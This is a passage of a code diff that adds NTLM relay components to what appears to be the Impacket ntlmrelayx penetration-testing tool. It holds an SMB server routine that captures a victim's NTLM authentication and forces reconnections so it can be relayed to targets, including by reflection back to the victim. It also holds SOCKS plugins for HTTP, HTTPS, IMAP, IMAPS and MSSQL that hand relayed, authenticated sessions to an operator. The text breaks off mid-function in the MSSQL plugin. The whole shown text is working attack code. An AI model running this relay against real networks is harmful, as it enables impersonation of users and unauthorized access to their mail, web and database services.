+        connData = smbServer.getConnectionData(connId)
+
+        authenticateMessage = connData['AUTHENTICATE_MESSAGE']
+        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
+                                    authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
+
+        if self.config.disableMulti:
+            return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
+        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
+        # are processed. There might be a use case for this
+        #if 'relayToHost' in connData:
+        #    # Connection already relayed, let's just answer the request (that will return object not found)
+        #    return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
+
+        try:
+            if self.config.mode.upper () == 'REFLECTION':
+                self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
+
+            self.target = self.targetprocessor.getTarget(identity = self.authUser)
+            if self.target is None:
+                # No more targets to process, just let the victim to fail later
+                LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
+                         (connId, self.authUser, connData['ClientIP']))
+                return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
+
+            LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser,
+                                                        connData['ClientIP'], self.target.scheme, self.target.netloc))
+
+            if self.config.mode.upper() == 'REFLECTION':
+                # Force standard security when doing reflection
+                LOG.debug("Downgrading to standard security")
+                extSec = False
+                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+            else:
+                extSec = True
+            # Init the correct client for our target
+            client = self.init_client(extSec)
+        except Exception as e:
+            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
+            self.targetprocessor.logTarget(self.target)
+        else:
+            connData['relayToHost'] = True
+            connData['Authenticated'] = False
+            del (connData['NEGOTIATE_MESSAGE'])
+            del (connData['CHALLENGE_MESSAGE'])
+            del (connData['AUTHENTICATE_MESSAGE'])
+            connData['SMBClient'] = client
+            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
+            smbServer.setConnectionData(connId, connData)
+
+        resp = smb.NewSMBPacket()
+        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
+        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
+                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
+
+        resp['Tid'] = recvPacket['Tid']
+        resp['Mid'] = recvPacket['Mid']
+        resp['Pid'] = connData['Pid']
+
+        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
+        respParameters        = smb.SMBTreeConnectAndXResponse_Parameters()
+        respData              = smb.SMBTreeConnectAndXResponse_Data()
+
+        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
+
+        if treeConnectAndXParameters['Flags'] & 0x8:
+            respParameters        = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
+
+        treeConnectAndXData                    = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
+        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
+        treeConnectAndXData.fromString(SMBCommand['Data'])
+
+        ## Process here the request, does the share exist?
+        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
+
+        # Is this a UNC?
+        if ntpath.ismount(UNCOrShare):
+            path = UNCOrShare.split('\\')[3]
+        else:
+            path = ntpath.basename(UNCOrShare)
+
+        # This is the key, force the client to reconnect.
+        # It will loop until all targets are processed for this user
+        errorCode = STATUS_NETWORK_SESSION_EXPIRED
+        resp['ErrorCode'] = errorCode >> 16
+        resp['_reserved'] = 0o3
+        resp['ErrorClass'] = errorCode & 0xff
+
+        if path == 'IPC$':
+            respData['Service']               = 'IPC'
+        else:
+            respData['Service']               = path
+        respData['PadLen']                = 0
+        respData['NativeFileSystem']      = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
+
+        respSMBCommand['Parameters']             = respParameters
+        respSMBCommand['Data']                   = respData
+
+        resp['Uid'] = connData['Uid']
+        resp.addCommand(respSMBCommand)
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [resp], errorCode
+    ################################################################################
+
+    #Initialize the correct client for the relay target
+    def init_client(self,extSec):
+        if self.target.scheme.upper() in self.config.protocolClients:
+            client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)
+            client.initConnection()
+        else:
+            raise Exception('Protocol Client for %s not found!' % self.target.scheme)
+
+
+        return client
+
+    def do_ntlm_negotiate(self,client,token):
+        #Since the clients all support the same operations there is no target protocol specific code needed for now
+        return client.sendNegotiate(token)
+
+    def do_ntlm_auth(self,client,SPNEGO_token,challenge):
+        #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
+        clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)
+
+        return clientResponse, errorCode
+
+    def do_attack(self,client):
+        #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
+        # Check if SOCKS is enabled and if we support the target scheme
+        if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:
+            if self.config.runSocks is True:
+                # Pass all the data to the socksplugins proxy
+                activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),
+                                       self.authUser, client, client.sessionData))
+                return
+
+        # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
+        if self.target.scheme.upper() in self.config.attacks:
+            # We have an attack.. go for it
+            clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)
+            clientThread.start()
+        else:
+            LOG.error('No attack configured for %s' % self.target.scheme.upper())
+
+    def _start(self):
+        self.server.daemon_threads=True
+        self.server.serve_forever()
+        LOG.info('Shutting down SMB Server')
+        self.server.server_close()
+
+    def run(self):
+        LOG.info("Setting up SMB Server")
+        self._start()
+
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py b/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py
new file mode 100644
index 0000000..978f97f
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py
@@ -0,0 +1,28 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import os
+import sys
+import pkg_resources
+
+SOCKS_RELAYS = set()
+
+for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'):
+    if file.find('__') >= 0 or file.endswith('.py') is False:
+        continue
+    # This seems to be None in some case (py3 only)
+    # __spec__ is py3 only though, but I haven't seen this being None on py2
+    # so it should cover all cases.
+    try:
+        package = __spec__.name  # Python 3
+    except NameError:
+        package = __package__    # Python 2
+    __import__(package + '.' + os.path.splitext(file)[0])
+    module = sys.modules[package + '.' + os.path.splitext(file)[0]]
+    pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS'))
+    SOCKS_RELAYS.add(pluginClass)
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/http.py b/impacket/examples/ntlmrelayx/servers/socksplugins/http.py
new file mode 100644
index 0000000..cade9db
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/http.py
@@ -0,0 +1,204 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Socks Proxy for the HTTP Protocol
+#
+#  A simple SOCKS server that proxies a connection to relayed HTTP connections
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+import base64
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "HTTPSocksRelay"
+EOL = b'\r\n'
+
+class HTTPSocksRelay(SocksRelay):
+    PLUGIN_NAME = 'HTTP Socks Plugin'
+    PLUGIN_SCHEME = 'HTTP'
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+        self.packetSize = 8192
+
+    @staticmethod
+    def getProtocolPort():
+        return 80
+
+    def initConnection(self):
+        pass
+
+    def skipAuthentication(self):
+        # See if the user provided authentication
+        data = self.socksSocket.recv(self.packetSize)
+        # Get headers from data
+        headerDict = self.getHeaders(data)
+        try:
+            creds = headerDict['authorization']
+            if 'Basic' not in creds:
+                raise KeyError()
+            basicAuth = base64.b64decode(creds[6:]).decode("ascii")
+            self.username = basicAuth.split(':')[0].upper()
+            if '@' in self.username:
+                # Workaround for clients which specify users with the full FQDN
+                # such as ruler
+                user, domain = self.username.split('@', 1)
+                # Currently we only use the first part of the FQDN
+                # this might break stuff on tools that do use an FQDN
+                # where the domain NETBIOS name is not equal to the part
+                # before the first .
+                self.username = '%s/%s' % (domain.split('.')[0], user)
+
+            # Check if we have a connection for the user
+            if self.username in self.activeRelays:
+                # Check the connection is not inUse
+                if self.activeRelays[self.username]['inUse'] is True:
+                    LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % (
+                        self.username, self.targetHost, self.targetPort))
+                    return False
+                else:
+                    LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (
+                        self.username, self.targetHost, self.targetPort))
+                    self.session = self.activeRelays[self.username]['protocolClient'].session
+            else:
+                LOG.error('HTTP: No session for %s@%s(%s) available' % (
+                    self.username, self.targetHost, self.targetPort))
+                return False
+
+        except KeyError:
+            # User didn't provide authentication yet, prompt for it
+            LOG.debug('No authentication provided, prompting for basic authentication')
+            reply = [b'HTTP/1.1 401 Unauthorized',b'WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"',b'Connection: close',b'',b'']
+            self.socksSocket.send(EOL.join(reply))
+            return False
+
+        # When we are here, we have a session
+        # Point our socket to the sock attribute of HTTPConnection
+        # (contained in the session), which contains the socket
+        self.relaySocket = self.session.sock
+        # Send the initial request to the server
+        tosend = self.prepareRequest(data)
+        self.relaySocket.send(tosend)
+        # Send the response back to the client
+        self.transferResponse()
+        return True
+
+    def getHeaders(self, data):
+        # Get the headers from the request, ignore first "header"
+        # since this is the HTTP method, identifier, version
+        headerSize = data.find(EOL+EOL)
+        headers = data[:headerSize].split(EOL)[1:]
+        headers = [header.decode("ascii") for header in headers]
+        headerDict = {hdrKey.split(':')[0].lower():hdrKey.split(':', 1)[1][1:] for hdrKey in headers}
+        return headerDict
+
+    def transferResponse(self):
+        data = self.relaySocket.recv(self.packetSize)
+        headerSize = data.find(EOL+EOL)
+        headers = self.getHeaders(data)
+        try:
+            bodySize = int(headers['content-length'])
+            readSize = len(data)
+            # Make sure we send the entire response, but don't keep it in memory
+            self.socksSocket.send(data)
+            while readSize < bodySize + headerSize + 4:
+                data = self.relaySocket.recv(self.packetSize)
+                readSize += len(data)
+                self.socksSocket.send(data)
+        except KeyError:
+            try:
+                if headers['transfer-encoding'] == 'chunked':
+                    # Chunked transfer-encoding, bah
+                    LOG.debug('Server sent chunked encoding - transferring')
+                    self.transferChunked(data, headers)
+                else:
+                    # No body in the response, send as-is
+                    self.socksSocket.send(data)
+            except KeyError:
+                # No body in the response, send as-is
+                self.socksSocket.send(data)
+
+    def transferChunked(self, data, headers):
+        headerSize = data.find(EOL+EOL)
+
+        self.socksSocket.send(data[:headerSize + 4])
+
+        body = data[headerSize + 4:]
+        # Size of the chunk
+        datasize = int(body[:body.find(EOL)], 16)
+        while datasize > 0:
+            # Size of the total body
+            bodySize = body.find(EOL) + 2 + datasize + 2
+            readSize = len(body)
+            # Make sure we send the entire response, but don't keep it in memory
+            self.socksSocket.send(body)
+            while readSize < bodySize:
+                maxReadSize = bodySize - readSize
+                body = self.relaySocket.recv(min(self.packetSize, maxReadSize))
+                readSize += len(body)
+                self.socksSocket.send(body)
+            body = self.relaySocket.recv(self.packetSize)
+            datasize = int(body[:body.find(EOL)], 16)
+        LOG.debug('Last chunk received - exiting chunked transfer')
+        self.socksSocket.send(body)
+
+    def prepareRequest(self, data):
+        # Parse the HTTP data, removing headers that break stuff
+        response = []
+        for part in data.split(EOL):
+            # This means end of headers, stop parsing here
+            if part == '':
+                break
+            # Remove the Basic authentication header
+            if b'authorization' in part.lower():
+                continue
+            # Don't close the connection
+            if b'connection: close' in part.lower():
+                response.append('Connection: Keep-Alive')
+                continue
+            # If we are here it means we want to keep the header
+            response.append(part)
+        # Append the body
+        response.append(b'')
+        response.append(data.split(EOL+EOL)[1])
+        senddata = EOL.join(response)
+
+        # Check if the body is larger than 1 packet
+        headerSize = data.find(EOL+EOL)
+        headers = self.getHeaders(data)
+        try:
+            bodySize = int(headers['content-length'])
+            readSize = len(data)
+            while readSize < bodySize + headerSize + 4:
+                data = self.socksSocket.recv(self.packetSize)
+                readSize += len(data)
+                senddata += data
+        except KeyError:
+            # No body, could be a simple GET or a POST without body
+            # no need to check if we already have the full packet
+            pass
+        return senddata
+
+
+    def tunnelConnection(self):
+        while True:
+            data = self.socksSocket.recv(self.packetSize)
+            # If this returns with an empty string, it means the socket was closed
+            if data == '':
+                return
+            # Pass the request to the server
+            tosend = self.prepareRequest(data)
+            self.relaySocket.send(tosend)
+            # Send the response back to the client
+            self.transferResponse()
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/https.py b/impacket/examples/ntlmrelayx/servers/socksplugins/https.py
new file mode 100644
index 0000000..44bcf5d
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/https.py
@@ -0,0 +1,58 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Socks Proxy for the HTTPS Protocol
+#
+#   A simple SOCKS server that proxies a connection to relayed HTTPS connections
+#
+# Author:
+#  Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay
+from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
+from OpenSSL import SSL
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "HTTPSSocksRelay"
+EOL = '\r\n'
+
+class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay):
+    PLUGIN_NAME = 'HTTPS Socks Plugin'
+    PLUGIN_SCHEME = 'HTTPS'
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+
+    @staticmethod
+    def getProtocolPort():
+        return 443
+
+    def skipAuthentication(self):
+        LOG.debug('Wrapping client connection in TLS/SSL')
+        self.wrapClientConnection()
+        if not HTTPSocksRelay.skipAuthentication(self):
+            # Shut down TLS connection
+            self.socksSocket.shutdown()
+            return False
+        return True
+
+    def tunnelConnection(self):
+        while True:
+            try:
+                data = self.socksSocket.recv(self.packetSize)
+            except SSL.ZeroReturnError:
+                # The SSL connection was closed, return
+                return
+            # Pass the request to the server
+            tosend = self.prepareRequest(data)
+            self.relaySocket.send(tosend)
+            # Send the response back to the client
+            self.transferResponse()
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py
new file mode 100644
index 0000000..d0ea8d1
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py
@@ -0,0 +1,235 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Socks Proxy for the IMAP Protocol
+#
+#   A simple SOCKS server that proxies a connection to relayed IMAP connections
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+import base64
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "IMAPSocksRelay"
+EOL = '\r\n'
+
+class IMAPSocksRelay(SocksRelay):
+    PLUGIN_NAME = 'IMAP Socks Plugin'
+    PLUGIN_SCHEME = 'IMAP'
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+        self.packetSize = 8192
+        self.idleState = False
+        self.shouldClose = True
+
+    @staticmethod
+    def getProtocolPort():
+        return 143
+
+    def getServerCapabilities(self):
+        for key in list(self.activeRelays.keys()):
+            if key != 'data' and key != 'scheme':
+                if 'protocolClient' in self.activeRelays[key]:
+                    return self.activeRelays[key]['protocolClient'].session.capabilities
+
+    def initConnection(self):
+        pass
+
+    def skipAuthentication(self):
+        self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL)
+
+        # Next should be the client requesting CAPABILITIES
+        tag, cmd = self.recvPacketClient()
+        if cmd.upper() == 'CAPABILITY':
+            clientcapabilities = list(self.getServerCapabilities())
+            # Don't offer these AUTH options so the client won't use them
+            blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED']
+            for cap in blacklist:
+                if cap in clientcapabilities:
+                    clientcapabilities.remove(cap)
+
+            # Offer PLAIN auth for specifying the username
+            if 'AUTH=PLAIN' not in clientcapabilities:
+                clientcapabilities.append('AUTH=PLAIN')
+            # Offer LOGIN for specifying the username
+            if 'LOGIN' not in clientcapabilities:
+                clientcapabilities.append('LOGIN')
+
+            LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities))
+            self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL))
+        else:
+            LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd)
+            return False
+        # next
+        tag, cmd = self.recvPacketClient()
+        args = cmd.split(' ')
+        if cmd.upper() == 'AUTHENTICATE PLAIN':
+            # Send continuation command
+            self.socksSocket.sendall('+'+EOL)
+            # Client will now send their AUTH
+            data = self.socksSocket.recv(self.packetSize)
+            # This contains base64(\x00username\x00password), decode and split
+            creds = base64.b64decode(data.strip())
+            self.username = creds.split('\x00')[1].upper()
+        elif args[0].upper() == 'LOGIN':
+            # Simple login
+            self.username = args[1].upper()
+        else:
+            LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd)
+            return False
+
+        # Check if we have a connection for the user
+        if self.username in self.activeRelays:
+            # Check the connection is not inUse
+            if self.activeRelays[self.username]['inUse'] is True:
+                LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % (
+                    self.username, self.targetHost, self.targetPort))
+                return False
+            else:
+                LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (
+                    self.username, self.targetHost, self.targetPort))
+                self.session = self.activeRelays[self.username]['protocolClient'].session
+        else:
+            LOG.error('IMAP: No session for %s@%s(%s) available' % (
+                self.username, self.targetHost, self.targetPort))
+            return False
+
+        # We arrived here, that means all is OK
+        self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL))
+        self.relaySocket = self.session.sock
+        self.relaySocketFile = self.session.file
+        return True
+
+    def tunnelConnection(self):
+        keyword = ''
+        tag = ''
+        while True:
+            try:
+                data = self.socksSocket.recv(self.packetSize)
+            except Exception as e:
+                # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay
+                print((keyword, tag))
+                LOG.debug('IMAP: sockSocket recv(): %s' % (str(e)))
+                break
+            # If this returns with an empty string, it means the socket was closed
+            if data == '':
+                break
+            # Set the new keyword, unless it is false, then break out of the function
+            result = self.processTunnelData(keyword, tag, data)
+
+            if result is False:
+                break
+            # If its not false, it's a tuple with the keyword and tag
+            keyword, tag = result
+
+        if tag != '':
+            # Store the tag in the session so we can continue
+            tag = int(tag)
+            if self.idleState is True:
+                self.relaySocket.sendall('DONE%s' % EOL)
+                self.relaySocketFile.readline()
+
+            if self.shouldClose:
+                tag +=1
+                self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
+                self.relaySocketFile.readline()
+
+            self.session.tagnum = tag+1
+
+        return
+
+    def processTunnelData(self, keyword, tag, data):
+        # Pass the request to the server, store the tag unless the last command
+        # was a continuation. In the case of the continuation we still check if
+        # there were commands issued after
+        analyze = data.split(EOL)[:-1]
+        if keyword == '+':
+            # We do send the continuation to the server
+            # but we don't analyze it
+            self.relaySocket.sendall(analyze.pop(0)+EOL)
+            keyword = ''
+
+        for line in analyze:
+            info = line.split(' ')
+            tag = info[0]
+            # See if a LOGOUT command was sent, in which case we want to close
+            # the connection to the client but keep the relayed connection alive
+            # also handle APPEND commands
+            try:
+                if info[1].upper() == 'IDLE':
+                    self.idleState = True
+                elif info[1].upper() == 'DONE':
+                    self.idleState = False
+                elif info[1].upper() == 'CLOSE':
+                    self.shouldClose = False
+                elif info[1].upper() == 'LOGOUT':
+                    self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL))
+                    return False
+                elif info[1].upper() == 'APPEND':
+                    LOG.debug('IMAP socks APPEND command detected, forwarding email data')
+                    # APPEND command sent, forward all the data, no further commands here
+                    self.relaySocket.sendall(data)
+                    sent = len(data) - len(line) + len(EOL)
+
+                    # https://tools.ietf.org/html/rfc7888
+                    literal = info[4][1:-1]
+                    if literal[-1] == '+':
+                        literalPlus = True
+                        totalSize = int(literal[:-1])
+                    else:
+                        literalPlus = False
+                        totalSize = int(literal)
+
+                    while sent < totalSize:
+                        data = self.socksSocket.recv(self.packetSize)
+                        self.relaySocket.sendall(data)
+                        sent += len(data)
+                        LOG.debug('Forwarded %d bytes' % sent)
+
+                    if literalPlus:
+                        data = self.socksSocket.recv(self.packetSize)
+                        self.relaySocket.sendall(data)
+
+                    LOG.debug('IMAP socks APPEND command complete')
+                    # break out of the analysis loop
+                    break
+            except IndexError:
+                pass
+            self.relaySocket.sendall(line+EOL)
+
+        # Send the response back to the client, until the command is complete
+        # or the server requests more data
+        while keyword != tag and keyword != '+':
+            try:
+                data = self.relaySocketFile.readline()
+            except Exception as e:
+                # This didn't break the connection to the server, don't make it fatal
+                LOG.debug("IMAP relaySocketFile: %s" % str(e))
+                return False
+            keyword = data.split(' ', 2)[0]
+            try:
+                self.socksSocket.sendall(data)
+            except Exception as e:
+                LOG.debug("IMAP socksSocket: %s" % str(e))
+                return False
+
+        # Return the keyword to indicate processing was OK
+        return (keyword, tag)
+
+
+    def recvPacketClient(self):
+        data = self.socksSocket.recv(self.packetSize)
+        space = data.find(' ')
+        return (data[:space], data[space:].strip())
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py
new file mode 100644
index 0000000..881df7d
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py
@@ -0,0 +1,81 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Socks Proxy for the IMAPS Protocol
+#
+#   A simple SOCKS server that proxies a connection to relayed IMAPS connections
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay
+from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
+from OpenSSL import SSL
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "IMAPSSocksRelay"
+EOL = '\r\n'
+
+class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay):
+    PLUGIN_NAME = 'IMAPS Socks Plugin'
+    PLUGIN_SCHEME = 'IMAPS'
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+
+    @staticmethod
+    def getProtocolPort():
+        return 993
+
+    def skipAuthentication(self):
+        LOG.debug('Wrapping IMAP client connection in TLS/SSL')
+        self.wrapClientConnection()
+        try:
+            if not IMAPSocksRelay.skipAuthentication(self):
+                # Shut down TLS connection
+                self.socksSocket.shutdown()
+                return False
+        except Exception as e:
+            LOG.debug('IMAPS: %s' % str(e))
+            return False
+        # Change our outgoing socket to the SSL object of IMAP4_SSL
+        self.relaySocket = self.session.sslobj
+        return True
+
+    def tunnelConnection(self):
+        keyword = ''
+        tag = ''
+        while True:
+            try:
+                data = self.socksSocket.recv(self.packetSize)
+            except SSL.ZeroReturnError:
+                # The SSL connection was closed, return
+                break
+            # Set the new keyword, unless it is false, then break out of the function
+            result = self.processTunnelData(keyword, tag, data)
+            if result is False:
+                break
+            # If its not false, it's a tuple with the keyword and tag
+            keyword, tag = result
+
+        if tag != '':
+            # Store the tag in the session so we can continue
+            tag = int(tag)
+            if self.idleState is True:
+                self.relaySocket.sendall('DONE%s' % EOL)
+                self.relaySocketFile.readline()
+
+            if self.shouldClose:
+                tag += 1
+                self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
+                self.relaySocketFile.readline()
+
+            self.session.tagnum = tag + 1
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py b/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py
new file mode 100644
index 0000000..7ca075c
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py
@@ -0,0 +1,248 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A Socks Proxy for the MSSQL Protocol
+#
+#   A simple SOCKS server that proxy connection to relayed connections
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+import struct
+import random
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
+from impacket.tds import TDSPacket, TDS_STATUS_NORMAL, TDS_STATUS_EOM, TDS_PRE_LOGIN, TDS_ENCRYPT_NOT_SUP, TDS_TABULAR, \
+    TDS_LOGIN, TDS_LOGIN7, TDS_PRELOGIN, TDS_INTEGRATED_SECURITY_ON
+from impacket.ntlm import NTLMAuthChallengeResponse
+try:
+    from OpenSSL import SSL
+except:
+    LOG.critical("pyOpenSSL is not installed, can't continue")
+    raise
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "MSSQLSocksRelay"
+
+class MSSQLSocksRelay(SocksRelay):
+    PLUGIN_NAME = 'MSSQL Socks Plugin'
+    PLUGIN_SCHEME = 'MSSQL'
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+        self.isSSL = False
+        self.tlsSocket = None
+        self.packetSize = 32763
+        self.session = None
+
+    @staticmethod
+    def getProtocolPort():
+        return 1433
+
+    def initConnection(self):
+        pass
+
+    def skipAuthentication(self):
+
+        # 1. First packet should be a TDS_PRELOGIN()
+        tds = self.recvTDS()
+        if tds['Type'] != TDS_PRE_LOGIN:
+            # Unexpected packet
+            LOG.debug('Unexpected packet type %d instead of TDS_PRE_LOGIN' % tds['Type'])
+            return False
+
+        prelogin = TDS_PRELOGIN()
+        prelogin['Version'] = b"\x08\x00\x01\x55\x00\x00"
+        prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP
+        prelogin['ThreadID'] = struct.pack('<L',random.randint(0,65535))
+        prelogin['Instance'] = b'\x00'
+
+        # Answering who we are
+        self.sendTDS(TDS_TABULAR, prelogin.getData(), 0)
+
+        # 2. Packet should be a TDS_LOGIN
+        tds = self.recvTDS()
+
+        if tds['Type'] != TDS_LOGIN7:
+            # Unexpected packet
+            LOG.debug('Unexpected packet type %d instead of TDS_LOGIN' % tds['Type'])
+            return False
+
+        login = TDS_LOGIN()
+        login.fromString(tds['Data'])
+        if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON:
+            # Windows Authentication enabled
+            # Send the resp we've got from the original relay
+            TDSResponse = self.sessionData['NTLM_CHALLENGE']
+            self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)
+
+            # Here we should get the NTLM_AUTHENTICATE
+            tds = self.recvTDS()
+            authenticateMessage = NTLMAuthChallengeResponse()
+            authenticateMessage.fromString(tds['Data'])
+            self.username = authenticateMessage['user_name']
+            try:
+                self.username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                      authenticateMessage['user_name'].decode('utf-16le'))).upper()
+            except UnicodeDecodeError:
+                # Not Unicode encoded?
+                self.username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()
+
+        else:
+            if login['UserName'].find('/') >=0:
+                try:
+                    self.username = login['UserName'].upper().decode('utf-16le')
+                except UnicodeDecodeError:
+                    # Not Unicode encoded?
+                    self.username = login['UserName'].upper()
+
+            else:
+                try:
